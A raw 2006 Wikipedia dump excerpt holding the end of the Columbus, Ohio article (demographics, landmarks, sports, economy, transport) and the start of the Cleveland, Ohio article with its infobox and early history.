Other neighborhoods and crossroads around the area include: [[Berwick, Ohio|Berwick]], [[Hungarian Village, Ohio|Hungarian Village]], [[Merion Village, Ohio|Merion Village]], [[Steelton, Ohio|Steelton]], [[Milo Grogan, Ohio|Milo Grogan]], [[Linden, Ohio|Linden]], [[Flytown, Ohio|Flytown]], [[Italian Village, Ohio|Italian Village]], [[Weinland Park, Ohio|Weinland Park]], [[Driving Park, Ohio|Driving Park]], [[Olde Town East, Ohio|Olde Town East]], [[Marble Cliff, Ohio|Marble Cliff]], [[Seagrave, Ohio|Seagrave]], [[University View, Ohio|University View]], [[Valleyview, Ohio|Valleyview]], [[New Rome, Ohio|New Rome]], [[Briggsdale, Ohio|Briggsdale]], [[Urbancrest, Ohio|Urbancrest]], [[Eastmoor, Ohio|Eastmoor]], [[Minerva Park, Ohio|Minerva Park]], [[Huber Ridge, Ohio|Huber Ridge]], [[Mifflinville, Ohio|Mifflinville]], [[Linworth, Ohio|Linworth]], [[Riverlea, Ohio|Riverlea]], [[Northland, Ohio|Northland]], [[Olentangy, Ohio|Olentangy]], [[Amlin, Ohio|Amlin]], [[Lincoln Village, Ohio|Lincoln Village]], and [[Alton, Ohio|Alton]].

==People and Culture==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Columbus &lt;br&gt;Population by year [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
|[[1840]] || 6,048
|-
|[[1850]] || 17,882
|-
|[[1860]] || 18,554
|-
|[[1870]] || 31,274
|-
|[[1880]] || 51,647
|-
|[[1890]] || 88,150
|-
|[[1900]] || 125,560
|-
|[[1910]] || 181,511
|-
|[[1920]] || 237,031
|-
|[[1930]] || 290,564
|-
|[[1940]] || 306,087
|-
|[[1950]] || 375,901
|-
|[[1960]] || 471,316
|-
|[[1970]] || 539,677
|-
|[[1980]] || 564,871
|-
|[[1990]] || 632,910
|-
|[[2000]] || 711,470
|}
===Demographics===
''See also: [[List of Famous People from Columbus, Ohio]]''

As of the [[census]]{{GR|2}} of [[2000]], there are 711,470 people, 301,534 households, and 165,240 families residing in the city.  The [[population density]] is 1,306.4/km² (3,383.6/mi²).  There are 327,175 housing units at an average density of 600.8/km² (1,556.0/mi²).  The racial makeup of the city is 67.93% [[White (U.S. Census)|White]], 24.47% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.29% [[Native American (U.S. Census)|Native American]], 3.44% [[Asian (U.S. Census)|Asian]], 0.05% [[Pacific Islander (U.S. Census)|Pacific Islander]], 1.17% from [[Race (U.S. Census)|other races]], and 2.65% from two or more races.  2.46% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 301,534 households out of which 28.0% have children under the age of 18 living with them, 36.1% are [[Marriage|married couples]] living together, 14.5% have a female householder with no husband present, and 45.2% are non-families. 34.1% of all households are made up of individuals and 7.0% have someone living alone who is 65 years of age or older.  The average household size is 2.30 and the average family size is 3.01.

The age distribution is 24.2% under the age of 18, 14.0% from 18 to 24, 35.1% from 25 to 44, 17.9% from 45 to 64, and 8.9% who are 65 years of age or older.  The median age is 31 years.  For every 100 females there are 94.6 males.  For every 100 females age 18 and over, there are 91.9 males.

The median income for a household in the city is $37,897, and the median income for a family is $47,391. Males have a median income of $35,138 versus $28,705 for females. The [[per capita income]] for the city is $20,450.  14.8% of the population and 10.8% of families are below the [[poverty line]].  Out of the total population, 18.7% of those under the age of 18 and 10.9% of those 65 and older are living below the poverty line.

===Landmarks and Museums===
[[Image:Ohio Statehouse.jpg|thumb|right|280px|The Ohio Statehouse]]
Columbus is home to several world class buildings, including the Greek-Revival State Capitol, and the [[Peter Eisenman]]-designed [[Wexner Center]] and Columbus Convention Center.

The [[Ohio Statehouse]], built of Columbus [[limestone]] from the [[Marble Cliff Quarry Co.]], began construction in 1839 on a 10 acre (40,000 m²) plot of land donated by four prominent Columbus landowners to form '''Capitol Square''', not part of the original layout of the city. The Statehouse stands upon foundations 18 feet (5 m) deep, which were laid by [[prison labor]] gangs, rumored to have been swelled by [[mason]]s jailed for minor infractions [http://www.statehouse.state.oh.us/statehouse/index.cfm].  The Statehouse features a central recessed [[porch]] with a [[colonnade]] of a forthright and primitive [[Doric order|Greek Doric mode]]. A broad and low central pediment supports the windowed [[astylar]] drum, under an invisibly low [[dome|saucer dome]], that lights the interior [[rotunda]]. Unlike many US state capitol buildings, the Ohio State Capitol owes little to the architecture of the [[United States Capitol|national Capitol]]. During the long course of the Statehouse's 22 years of construction, seven architects were employed. Relations between the legislature and the architects were not always cordial: Nathan B. Kelly, who introduced heating and an ingenious system of natural forced ventilation, was dismissed because the commissioners found his designs were too lavish for the original intentions of the committee. The Statehouse was opened to the legislature and the public in 1857, and finally complete in 1861.

[[Image:Columbus Museum of Art.jpg|thumb|left|220px|Columbus Museum of Art]]

The [[Columbus Museum of Art]] opened in 1931, with a collection focusing on European and American art up to early [[modernism]].  Columbus also boasts the [[Franklin Park Conservatory]], which was also home to [[AmeriFlora '92]], and a to-scale replica of the [[Santa Maria]] on the [[Scioto River]]front that was installed to commemorate the 500-year anniversary of the discovery of America by Columbus' [[Christopher Columbus|namesake]].  Columbus is the home of [[COSI|COSI-Columbus]], a notable science museum, as well as the museum of the Ohio Historical Society.

To some extent, the [[Ohio State University]] is a museum unto itself with its rich history and roots in the Columbus psyche, but it does host a number of museums and museum-like exhibits.  Notable among these are the [[Wexner Center for the Arts]], a contemporary art gallery and research facility located on the OSU campus, the Ohio State University Athletics Hall of Fame located in the [[Value City Arena|Jerome Schottenstein Center]] (home of the OSU basketball and men's ice hockey teams). The [[Chadwick Arboretum]] is nearby.

[[Image:Columbus-ohio-rhodes-state-office-tower.jpg|thumb|100px|[[Rhodes State Office Tower]], tallest in Columbus.]]
* The [[Ohio Historical Society]] is headquartered in Columbus, with its flagship museum, the 250,000 square foot (23,000 m²) Ohio Historical Center, located just four miles (6 km) north of downtown.

* The [[Columbus Metropolitan Library]] is arguably the nation's top-ranked library system ([[Hennen’s American Public Library Ratings]]).

* The [[Franklin Park Conservatory]] is an excellent Victorian-era [[greenhouse|conservatory]].

* The [[Columbus Zoo]] is world-renowned, and its director emeritus, [[Jack Hanna]], frequently appears on national television, including [[The Tonight Show]] and [[The Late Show with David Letterman]].

* The tallest building in Columbus is the 629-foot, 41-story [[Rhodes State Office Tower]].

* Founded in 1975, [http://www.thejeffersoncetner.org The Jefferson Center for Learning and the Arts] is a campus of nonprofit organizations and a center for research, publications and seminars on nonprofit leadership and governance.  Located at the eastern edge of downtown Columbus, Ohio, The Jefferson Center has restored eleven turn-of-the-century homes as locations for nonprofits in human services, education and the arts and recently obtained a twelfth property to renovate.

===Fairs and Festivals===
Annual festivities in Columbus include the [[Ohio State Fair]]&amp;mdash;one of the largest state fairs in the country; the Columbus Arts Festival and the Jazz and Ribs Festival, both of which occur on the downtown waterfront.  [http://www.comfest.com/ ComFest] (short for &quot;community festival&quot;) is an immense three-day gathering in Goodale Park (just north of downtown Columbus) with art vendors and live music on multiple stages, hundreds of local social and political organizations, body painting, and enough beer to quench anyone's thirst.  Coinciding with the weekend of ComFest is the large [[Gay Pride Parade]], reflective of the sizeable gay population in Columbus. Around the Fourth of July, Columbus hosts [http://columbusoh.about.com/library/bljul01.htm Red, White, and Boom], the largest fireworks display in the [[midwest]] on the riverfront downtown to crowds of over 500,000 people, as well as the popular &quot;Doo Dah Parade&quot;, a nonsensical satire of ordinary parades. The [[Origins International Game Expo]] is held around the first week of July. The Short North is host to the monthly &quot;Gallery Hop&quot;, which attracts hundreds to the neighborhood's art galleries (which all open their doors to the public until late at night) and street musicians. Each September, [[German Village]] throws an annual Oktoberfest celebration that features authentic German food, beer, music, and crafts. The [http://www.hilltopbusinessassociation.org/beandinner.htm Hilltop Bean Dinner] is an annual event held on Columbus' West Side that celebrates the city's Civil War heritage near the historic Camp Chase Cemetery.  Festival Latino (http://www.festivallatino.net) is held in June and celebrates Latino culture with music, food and activities.  This free event is held downtown and draws over 300,000.  The Jazz and Rib Fest (http://musicintheair.org/jazzfest.htm) is a free downtown event held each July festuring jazz artists and rib vendors from around the country.

Columbus also hosts many conventions in the Greater Columbus Convention Center, a pastel-colored building on the north edge of downtown that resembles jumbled blocks, or a train yard from overhead.  The convention center was designed by famed architect [[Peter Eisenman]], who also designed the renowned [[Wexner Center]], also located in Columbus at the campus of The Ohio State University.  Completed in 1993, the convention center spanned nearly 600,000 square feet (56,000 m²) at the time, and has recently been expanded.

===Sports===
By far, the sports team that draws the most attention in Columbus is the [[Ohio State Buckeyes]] football team.  Games are played from late August through late November (and fairly frequently in early January, due to tournament play), with home games at [[Ohio Stadium]] in front of over 100,000 rabid Buckeye fans.  Tailgating at OSU home games has become an event in and of itself, with as many as 30,000 more people partying during the game in the parking lots and at controlled events on Lane Avenue such as Hineygate and the Varsity Club. The [[Ohio State Buckeyes|OSU]]-[[University of Michigan|Michigan]] football game is the final game of the regular season and is played in November each year (alternating between Columbus and [[Ann Arbor, Michigan]]). It is easily the biggest annual event in the city, with an estimated 80% to 90% share of television viewers in the Columbus market. [[ESPN]] and Fox Sports even recognized it as the greatest [[college rivalry|rivalry]] in all of sports.

{| style=&quot;border: 1px solid #ADADAD; margin-bottom: 66px; padding-bottom: 19px;&quot;
|- bgcolor=#ADADAD align=left
! width=150px | Club
! width=100px | Sport
! width=200px | League
! width=110px | Stadium
! width=60px | Logo
|-
| [[Columbus Blue Jackets]]
| [[Ice Hockey]]
| [[National Hockey League]]
| [[Nationwide Arena]]
| [[Image:ColumbusBlueJackets 100.png|30px|Columbus Blue Jackets Logo]]
|-
| [[Columbus Crew]]
| [[Soccer]]
| [[Major League Soccer]]
| [[Columbus Crew Stadium]]
| [[Image:Columbus Crew logo.gif|30px|Columbus Crew Logo]]
|-
| [[Columbus Destroyers]]
| [[American football|Football]]
| [[Arena Football League]]
| [[Nationwide Arena]]
| [[Image:ColumbusDestroyers.png|60px|Columbus Destroyers Logo]]
|-
| [[Columbus Clippers]]
| [[Baseball]]
| [[International League]]
| [[Cooper Stadium]]
| [[Image:ColumbusClippers 100.png|30px|Columbus Clippers Logo]]
|}
For a city of its size, Columbus notably does not have a major league baseball, basketball, or football team.  This can be explained, in part, by the city's proximity to both [[Cincinnati, Ohio|Cincinnati]] (100 miles) and [[Cleveland, Ohio|Cleveland]] (125 miles), which have five major league teams between them and from the popularity of Ohio State sporting events within Columbus.

Since 1976, the Columbus suburb of [[Dublin, Ohio|Dublin]] is the location of the [[PGA Tour]]'s [[Memorial Tournament]] at the [[Muirfield Village]] golf course, which is closely associated with [[Jack Nicklaus]]. In 1987, the course hosted the [[Ryder Cup]].

From [[1985]] to [[1988]], Columbus hosted major league [[auto racing]], with the [[International Motor Sports Association|IMSA]] ''Columbus Ford Dealers 500''. The event was only moderately successful, and discontinued after only four years.

Columbus hosts the annual [[Arnold Classic]] weightlifting and fitness exposition in late February, as well as the annual Quarterhorse Congress.  Both of these conventions are very large tourist draws to the city.

===Performing Arts===
There are several major concert venues in Columbus, including arenas such as [[Nationwide Arena]], [[Value City Arena]], and [[Ohio Stadium]].  Columbus also has a number of medium-sized venues downtown, including the historic [[LeVeque Tower|Palace Theatre]], the [[Ohio Theatre]], the Southern Theatre, Franklin County Veterans Memorial Hall, and the Lifestyle Communities Pavilion (the LC for short) (formerly the PromoWest Pavilion). The [[Newport Music Hall]], located in the OSU campus neighborhood, is a smaller venue, but highly respected by the alternative music scene. Performers such as [[U2]], [[Smashing Pumpkins]], and [[Sarah McLachlan]] honed their live acts at the Newport before achieving wider fame.  Performing artists hailing from Columbus include [[Joe McCreary|Foley]] (bass player with [[Miles Davis]]), [[Bizzy Bone]], [[The Sun (band)|The Sun]], [[Dwight Yoakam]], [[Bow Wow]], [[Fatty Koo]], [[Rascal Flatts]], and [[RJD2]].

Much of the growth in entertainment capacity in Columbus has been recent. The expansion of Ohio Stadium to over 100,000 in capacity, and the construction of the Crew Stadium (the first [[soccer-specific stadium]] in the United States), Nationwide Arena, Value City Arena, the Greater Columbus Convention Center, and the Lifestyle Communities Pavilion are all projects completed since 1990.

Columbus is the home of many renowned performing arts institutions, including Opera Columbus, BalletMet, the [[Columbus Symphony Orchestra]], the Contemporary American Theatre Company (CATCo), and the Columbus Jazz Orchestra.

===Media===
Columbus's sole remaining daily newspaper is the ''[[Columbus Dispatch]]''; its main competitor, the ''[[Columbus Citizen-Journal]],'' ceased publication on [[December 31]], 1985. There are also a number of weekly newspapers, including neighborhood/suburb specific papers such as Suburban News Publications which serves 23 suburbs and Columbus, ''[[ThisWeek]]'', and &quot;alternative&quot; arts/culture/politics-oriented papers such as ''[[The Other Paper]]'' and ''[[aLIVE]]'' (formerly Columbus Alive). ''[[Columbus Monthly]]'' is the city magazine. 

Among Columbus's notable radio stations are ([[WTVN]]) (610) and WBNS (1460), both among the oldest AM stations in the country; WOSU (820 AM and 89.7 FM), operated by The Ohio State University; WCBE (90.5 FM), a [[National Public Radio]] affiliate run by the Columbus Board of Education; WLVQ (96.3 FM), a long-running classic-rock station; and [[WWCD]] (101.1 FM), Columbus's locally-owned alternative rock station.

Columbus's television stations include [[WCMH-TV|WCMH 4]] ([[NBC]]), [[WSYX|WSYX 6]] ([[American Broadcasting Company|ABC]]), [[WBNS-TV|WBNS 10]] ([[CBS]]), [[WTTE|WTTE 28]] ([[Fox Broadcasting Company|Fox]]), [[WOSU-TV|WOSU 34]] ([[Public Broadcasting Service|PBS]]), [[WSFJ-TV|WSFJ 51]] (a Christian-oriented independent station), and [[WWHO|WWHO 53]] ([[UPN]]).

[[Image:Columbus-ohio-leveque-tower.jpg|thumb|220px|[[LeVeque Tower]], the oldest [[skyscraper]] in Columbus.]]

==Economy==
===Public sector===
As Columbus is the capital of the state of [[Ohio]], there is a large government presence in the city.  Including city, state, and jobs at the public [[Ohio State University]], government jobs provide the largest single source of employment within Columbus.
===Businesses===
Columbus is the headquarters for a number of nationally and internationally-known corporations.  [[Nationwide Insurance]] makes its home downtown in a large, multi-building complex that dominates the northern end of the downtown area.  [[Limited Brands]] (formerly known as The Limited, Inc.) is located on the east side of the city and is the parent company of the retail stores [[The Limited]], [[Express (company)|Express]], [[Victoria's Secret]], and [[Bath &amp; Body Works]], among others.  Worthington Steel is primarily located on the north side of the metro area in the city of Worthington.  Two fast food chains have their home base in the Columbus metro area as well, [[Wendy's]] and [[White Castle (restaurant)|White Castle]], with Wendy's still operating their first store downtown as both a museum and a working restaurant.  [[Bob Evans Restaurants]] is also based in Columbus. [[Cardinal Health]] has its headquarters in the northwest suburb of Dublin. [[Abercrombie &amp; Fitch]] headquarters are located in the northeast suburb of New Albany. [[Huntington Bancshares]] also has its headquarters in the downtown area.  [[Hexion Specialty Chemicals]] (formerly part of the Borden, Inc. corporation) is located downtown as well. The Ross Products Division of Abbott Laboratories, makers of Ensure nutritional drink and Similac infant formula, is also headquartered in Columbus, with over 7,000 employees.

Several other large corporations have a major presence in the Columbus area. [[Honda]] has two auto plants, in [[Marysville, Ohio|Marysville]] and [[East Liberty, Ohio|East Liberty]]. The facilites are located to the northwest of Columbus along [[US-33]]. The Marysville plant is Honda's first and largest North American auto plant. Together the plants produce Honda Accords, Civics, Elements, motorcycles and some of Acura's models for the North American market.  [[Bank One]], which used to be headquartered in Columbus prior to the merger with First Chicago-NBD, still has a major presence in Columbus.  [[J.P. Morgan Chase &amp; Co.]], which announced a merger with Bank One in 2004, has a large mortgage servicing unit in the city.  [[CompuServe]] still has its roots in Columbus, although it has been owned by [[AOL]] since 1998.  [[Budweiser (Anheuser-Busch)|Budweiser]] has a major brewery located on the north side of the city.  [[McGraw-Hill]] Inc. has large offices within Columbus as well.  In addition, [[Sterling Commerce]] a B2B software company has its headquarters in the Northwest suburb of Dublin. [[United Parcel Service|UPS]] has a large distribution center on the west side of the city. Columbus is also home to the [[Chemical Abstracts Service]], making it one of the world's leading centers for scientific information distribution.

Columbus is considered to be a typical American city, and is often used as a test market for new products by retail and restaurant chains.

==Infrastructure==
[[Image:Columbus-ohio-city-hall.jpg|thumb|right|250px|City Hall.]]
===Government===
''See also: [[List of Mayors of Columbus, Ohio]]''  

The government is administered by a mayor and a unicameral council elected every two years, the mayor appointing the director of safety and the director of public service.  The people elect the treasurer, auditor, and solicitor.  A charter commission, elected in [[1913]], submitted, in May, [[1914]], a new charter offering a modified Federal form, with a number of progressive features, such as nonpartisan ballot, preferential voting, recall of elected officials, the referendum, and a small council elected at large.  The charter was adopted, effective January 1, [[1916]].
{{section-stub}}

===Education===
Columbus is the home of The [[Ohio State University]], which is currently the largest single campus in the United States, with a total enrollment of 50,504 (as of Autumn, 2005). Other institutions located in Columbus and its metro area include  [[Columbus State Community College]], [[Franklin University]], [[Ohio Dominican University]], the [[Columbus College of Art and Design]], [[Ohio Wesleyan University]] in Delaware, [[Capital University]] in Bexley, [[Denison University]] in Granville, [[Otterbein College]] in Westerville, and [[DeVry University]].

Columbus is noted for a couple of important &quot;firsts&quot; in American public education. The first [[kindergarten]] was established here by Louisa Frankenberg, a former student of [[Friedrich Wilhelm August Fröbel|Friedrich Fröbel]] who immigrated to the city in 1838.  In addition, Indianola Junior High School became the nation's first [[middle school]] in 1909, helping to bridge the difficult transition from elementary to high school at a time when only forty-eight percent of students continued their education after the 9th grade.

Columbus Public Schools dominates the K-12 primary school landscape, and each of the suburbs operates a fairly large district as well, sometimes across overlapping municipal boundaries. CPS offers many alternative schools, such as Columbus Alternative High School, Fort Hayes Arts and Academic High School, and Ecole Kenwood. Notable private schools within Columbus include The Wellington School, the [[Columbus Academy]], Columbus School for Girls, and [[Saint Charles Preparatory School]], Bishop Watterson, and Learning Unlimited Village Academy.

===Transportation===
Columbus is bisected by two major [[Interstate]] highways, [[Interstate 70]] running east-west, and [[Interstate 71]] running north to roughly southwest.  The two Interstates combine downtown for about 1.5 miles in an area locally known as &quot;The Split&quot;, which is a major traffic congestion point within Columbus, especially during [[rush hour]].  [[U.S. Highway 40]], aka [[National Road]], runs east-west through Columbus, comprising Main Street to the east of downtown and Broad Street to the west.  It is also widely recognized as the nation's first highway.  [[U.S. Highway 23]] runs roughly north-south, while [[U.S. Highway 33]] runs northwest-to-southeast.  The [[Interstate 270 (Ohio)|Interstate 270]] Outerbelt encircles the vast majority of Columbus and its suburbs, while the newly redesigned Innerbelt consists of the [[Interstate 670 (Ohio)|Interstate 670]] spur on the north side (which continues to the east past the airport and to the west where it merges with I-70),  [[Ohio State Highway 315|State Route 315]] on the west side, the I-70/71 split on the south side, and I-71 on the east.  Due to its central location within Ohio and abundance of outbound roadways, nearly all of the state's destinations are within a 2-hour drive of Columbus.

The I-270 Outerbelt was the subject of national media attention in late [[2003]] and early [[2004]] when a number of [[sniper]] shootings were reported along the southern portion of the interstate and other neighboring highways, resulting in the death of one person. [[Charles McCoy, Jr.]] is accused of the shootings and stood trial in [[2005]], however the jury was hung as to McCoy's mental state. McCoy later pled guilty to involantary manslaughter, attempted murder, assault and discharging a firearm near a school and was sentenced to 29 years in prison.
[[image:Columbus-ohio-high-street-night.jpg|thumb|280px|High Street downtown at night, looking north. I-670 crosses under this part of town.]]

The city's street plan—originating in the oldest parts of the city, that is downtown and the immediate vicinity—is a roughly gridiron model bisected by High Street (running north-south) and Broad Street (running east-west). Much of the city street numbering plan originates at their intersection in mid-downtown (the [[Ohio Statehouse]] building sits at the corner of Broad and High, incidentally), so house numbers increase with distance from downtown. This rigid street grid breaks down the further out one goes, particularly in the suburbs (mostly old towns with their own street plans still intact) and the newer subdivisions. Besides High Street and Broad Street, major thoroughfares in Columbus include Main Street, Morse Road, Dublin-Granville Road (aka SR-161), Cleveland Avenue/Westerville Road (aka [[Ohio State Highway 3|SR-3]]), Olentangy River Road, Riverside Drive, Sunbury Road, and Livingston Avenue. 

Columbus does not have a [[metro]] or other passenger rail system. However, a light rail system is under consideration, but uncertain federal funding has made a completion date uncertain. Columbus does maintain a widespread municipal bus service called the Central Ohio Transit Authority (COTA).  Columbus used to have a major train station downtown called [http://home.columbus.rr.com/unionstation Union Station], however it was razed in the late 1970s.  Columbus is now the second largest city in the U.S. (after [[Phoenix, Arizona|Phoenix]]) without passenger rail service.  Columbus is served by [[Port Columbus International Airport]], [[Rickenbacker International Airport]], [[Don Scott Airport]] (run by OSU), and [[Bolton Field Airport]].

==Sister Cities==
Columbus has seven [[town twinning|sister cities]], as designated by [http://www.sister-cities.org/ Sister Cities International].  Columbus established its first [[Sister City]] relationship in [[1955]] with [[Genoa]], [[Italy]]. To commemorate this relationship, Columbus received as a gift from the people of Genoa a large statue of [[Christopher Columbus]]. The statue overlooks Broad Street in front of the Columbus City Hall.

{|
| valign=&quot;top&quot; |
*{{flagicon|Germany}} - [[Dresden]], [[Germany]]
*{{flagicon|Italy}} - [[Genoa]], [[Italy]]
*{{flagicon|People's Republic of China}} - [[Hefei]], [[China]]
*{{flagicon|Israel}} - [[Herzliya]], [[Israel]]
| valign=&quot;top&quot; |
*{{flagicon|Denmark}} - [[Odense]], [[Denmark]]
*{{flagicon|Spain}} - [[Seville]], [[Spain]]
*{{flagicon|Taiwan}} - [[Tainan City]], [[Taiwan]]
|}

==Quotations==
&quot;In the early years of the ninetheenth century, Columbus won out, as state capital, by one vote over Lancaster, and ever since then has had the hallucination that it is being followed, a curious municipal state of mind which affects, in some way or other, all those who live there. Columbus is a town in which almost anything is likely to happen and in which almost everything has.&quot; --Columbus born/raised humorist, writer and cartoonist [[James Thurber]].{{ref|thurber}}

==References==
*Lentz, Ed (2003). ''Columbus: The Story of a City''. Charleston: Arcadia Publishing. ISBN 0-7385-2429-8.

{{note|thurber}} Thurber, James (1999). &quot;My Life and Hard Times&quot;. New York: Harper Collins. ISBN 0-06-093308-9. (Page 40).

== External links ==
{{sisterlinks|Columbus, Ohio}}
*[http://ci.columbus.oh.us/ Official City Website]
*[http://www.columbus.org/ Columbus Chamber of Commerce]
*[http://www.cml.lib.oh.us/ Columbus Metropolitan Library]
*[http://www.columbuslandmarks.org/ Columbus Landmarks Foundation]
*[http://www.thejeffersoncenter.org The Jefferson Center for Learning &amp; the Arts]

{{Mapit-US-cityscale|39.989783|-82.99146}}

{{Ohio}}

{{United_States_state_capitals}}
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[[Category:All-America City]]
[[Category:Cities in Ohio]]
[[Category:Columbus, Ohio|Columbus, Ohio]]
[[Category:County seats in Ohio]]
[[Category:Delaware County, Ohio]]
[[Category:Fairfield County, Ohio]]
[[Category:Franklin County, Ohio]]
[[Category:State capitals in the United States]]
[[Category:Places on Placeopedia]]

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  <page>
    <title>Cleveland, Ohio</title>
    <id>5951</id>
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      <timestamp>2006-03-01T19:41:19Z</timestamp>
      <contributor>
        <username>Avogadro94</username>
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      <comment>rv vandalism by [[User:Buckeyefball6&amp;action=edit]]</comment>
      <text xml:space="preserve">{{featured article}}
{{Infobox City |official_name = Cleveland, Ohio
|nickname = [[The Forest City]]
|motto = Progress and Prosperity
|website = [http://www.city.cleveland.oh.us www.city.cleveland.oh.us]
|image_skyline = Cleveland From The Lake.jpg
|image_flag = ClevelandCityFlag.png
|image_seal = ClevelandCitySeal.png
|image_map = Cleveland,_Ohio_Map.png
|map_caption = Location in [[Cuyahoga County, Ohio|Cuyahoga County]], [[Ohio]]
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;  [[Political divisions of the United States|State]]&lt;br&gt;  [[List of counties in Ohio|County]]
|subdivision_name = [[United States]]&lt;br&gt;[[Ohio]]&lt;br&gt;[[Cuyahoga County, Ohio|Cuyahoga]]
|leader_title = [[Mayor]]
|leader_name =  [[Frank G. Jackson]] ([[Democratic Party (United States)|D]])
|area_magnitude = 1 E8
|area_total = 213.5
|area_land = 201.0
|area_water = 12.5
|population_as_of = 2000
|population_total = 478,403
|population_metro = 2,250,871
|population_density = 2,380.9
|timezone = [[Eastern Standard Time Zone|EST]]
|utc_offset = -5
|timezone_DST = [[Eastern Daylight Time|EDT]]
|utc_offset_DST = -4
|latd = 41
|latm = 28
|lats = 56 
|latNS = N
|longd = 81
|longm = 40
|longs = 11
|longEW = W
|elevation = 177
|footnotes = &lt;table border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; style=&quot;margin: 0 0 0 0;  background: #f9f9f9;&quot;&gt;
&lt;tr&gt;&lt;td&gt;'''Founded'''&lt;/td&gt;&lt;td&gt;[[1796]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Incorporated'''&lt;/td&gt;&lt;td&gt;[[1836]]&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
}}
{{redirect|Cleveland}} ''For the Cleveland area, see [[Greater Cleveland]].''
The city of '''Cleveland''' is the [[county seat]] of [[Cuyahoga County, Ohio|Cuyahoga County]] in the [[United States|U.S.]] state of [[Ohio]]. The municipality is located on the southern shore of [[Lake Erie]], in the [[Connecticut Western Reserve|Western Reserve]] in northeastern Ohio on the [[Cuyahoga River]], approximately 60&amp;nbsp;miles (100&amp;nbsp;km) west of the [[Pennsylvania]] border. It was founded in 1796 near the mouth of the river, and became a manufacturing center owing to its location at the head of numerous [[canal]]s and [[railroad]] lines. After the decline of heavy manufacturing, Cleveland's businesses are now more often in the financial services, insurance, and healthcare sectors.

As of the [[United States Census, 2000|2000 Census]], the city proper had a total population of 478,403, making it the 33rd largest city in the nation (recent estimates from the Census Bureau show it to currently be the 36th largest).  It is the center of [[Greater Cleveland]], the largest [[metropolitan area]] in Ohio, which spans several counties and is defined in several different ways by the [[United States Census Bureau]]. The Cleveland-[[Elyria, Ohio|Elyria]]-[[Mentor, Ohio|Mentor]] [[United States metropolitan area|Metropolitan Statistical Area]] has 2,250,871 people and is the 23rd largest in the country. Cleveland is also part of the larger Cleveland-[[Akron, Ohio|Akron]]-Elyria [[Combined Statistical Area]], which is the 14th largest in the country with a population of 2,945,831 according to the 2000 Census.

City residents and tourists benefit from investments made by wealthy residents in the city's heyday in arts and cultural institutions, and philanthropy also helped to establish a robust [[Cleveland Public Library|public library system]] in the city. More recent investments have provided the city with tourist attractions in the downtown area, such as [[Jacobs Field]], the [[Rock and Roll Hall of Fame]], and [[Playhouse Square Center]]. In studies conducted by ''[[The Economist]]'' in 2005, Cleveland and [[Pittsburgh, Pennsylvania|Pittsburgh]] were ranked as the most [[quality of life|livable]] cities in the United States,{{ref|livable}} and the city was ranked as the best city for business meetings in the continental U.S.{{ref|meetings}}  Nevertheless, the city faces continuing challenges, in particular from concentrated poverty in some neighborhoods and difficulties in the funding and delivering of high-quality public education.

Residents of Cleveland are usually referred to as ''[[List of people from Cleveland, Ohio|Clevelander]]s''.  Nicknames used for the city include ''[[The Forest City]]'', ''Metropolis of the Western Reserve'', ''The New American City'', ''America's North Coast'', and ''[[C-Town (nickname)|C-Town]]''. Its [[Sister Cities of Cleveland, Ohio|nineteen sister cities]] include [[Volgograd]], [[Russia]]; [[Ljubljana]], [[Slovenia]]; [[Miskolc]], [[Hungary]]; and [[Alexandria]], [[Egypt]].  

==History==
{{main|History of Cleveland, Ohio}}
Cleveland obtained its name on [[July 22]], [[1796]], when surveyors of the [[Connecticut Land Company]] named an area in Ohio &quot;Cleaveland&quot; after General [[Moses Cleaveland]], the superintendent of the surveying party, a month after white settlers had signed a treaty with local [[Native Americans in the United States|Native American]]s to acquire the land. Cleaveland laid out the plan for the modern [[Public Square]] area before returning home, never again to visit the area.  The village of Cleaveland was incorporated on [[23 December]] [[1814]].{{ref|clevehistory}} The spelling of the city's name was later changed to &quot;Cleveland&quot; when, in 1831, an &quot;a&quot; was dropped so the name could fit a newspaper's masthead.  

[[Image:Cleveland map 1904.jpg|thumb|left|300px|Map of Cleveland in 1904.]]
Though not initially apparent—the city was surrounded by swampland and the harsh winters did not encourage settlement—the location proved providential. The city began to grow rapidly after the completion of the [[Ohio and Erie Canal]] in 1832, turning the city into a key link between the [[Ohio River]] and the [[Great Lakes]], and particularly once the city [[Rail transport|railroad]] links were added. The rapid growth resulted in Cleveland's incorporation as a city in 1836.{{ref|clevehistory}} The following year, the city, then located on the eastern banks of the [[Cuyahoga River]], nearly erupted into open warfare with neighboring [[Ohio City (Cuyahoga County), Ohio|Ohio City]] (since annexed), over a bridge connecting the two. As a halfway point for [[iron ore]] coming from [[Minnesota]] across the [[Great Lakes]] and for [[coal]] and other raw materials coming by rail from the south, the site flourished. Cleveland became one of the major [[manufacturing]] and population centers of the [[United States]], and was home to numerous major [[steel]] firms. [[Standard Oil]] founder [[John D. Rockefeller]] made his fortune there, and by 1920, it was the fifth largest city in the country. The city was also one of the centers of the national [[Progressive Era|progressive movement]], headed locally by Mayor [[Tom L. Johnson]]. Many Clevelanders of this era are buried in the historic [[Lake View Cemetery]], including the 20th [[President of the United States|president]], [[James A. Garfield]].

[[Image:Cleveland ohio 1937.jpg|thumb|right|300px|Aerial view of [[downtown Cleveland]] in December 1937. The [[Cuyahoga River]] winds through [[the Flats]].]]

In commemoration of the [[centennial]] of Cleveland's incorporation as a city, the [[Great Lakes Exposition]] debuted in June 1936 along the lakeshore north of downtown.  Conceived as a way to energize a city hit hard by the [[Great Depression]], the exposition drew 4 million visitors in its first season, and 7 million by the end of its second and final season in September 1937.  The exposition was housed on grounds that are now used by the [[Great Lakes Science Center]], the [[Rock and Roll Hall of Fame]], and [[Burke Lakefront Airport]], among others.

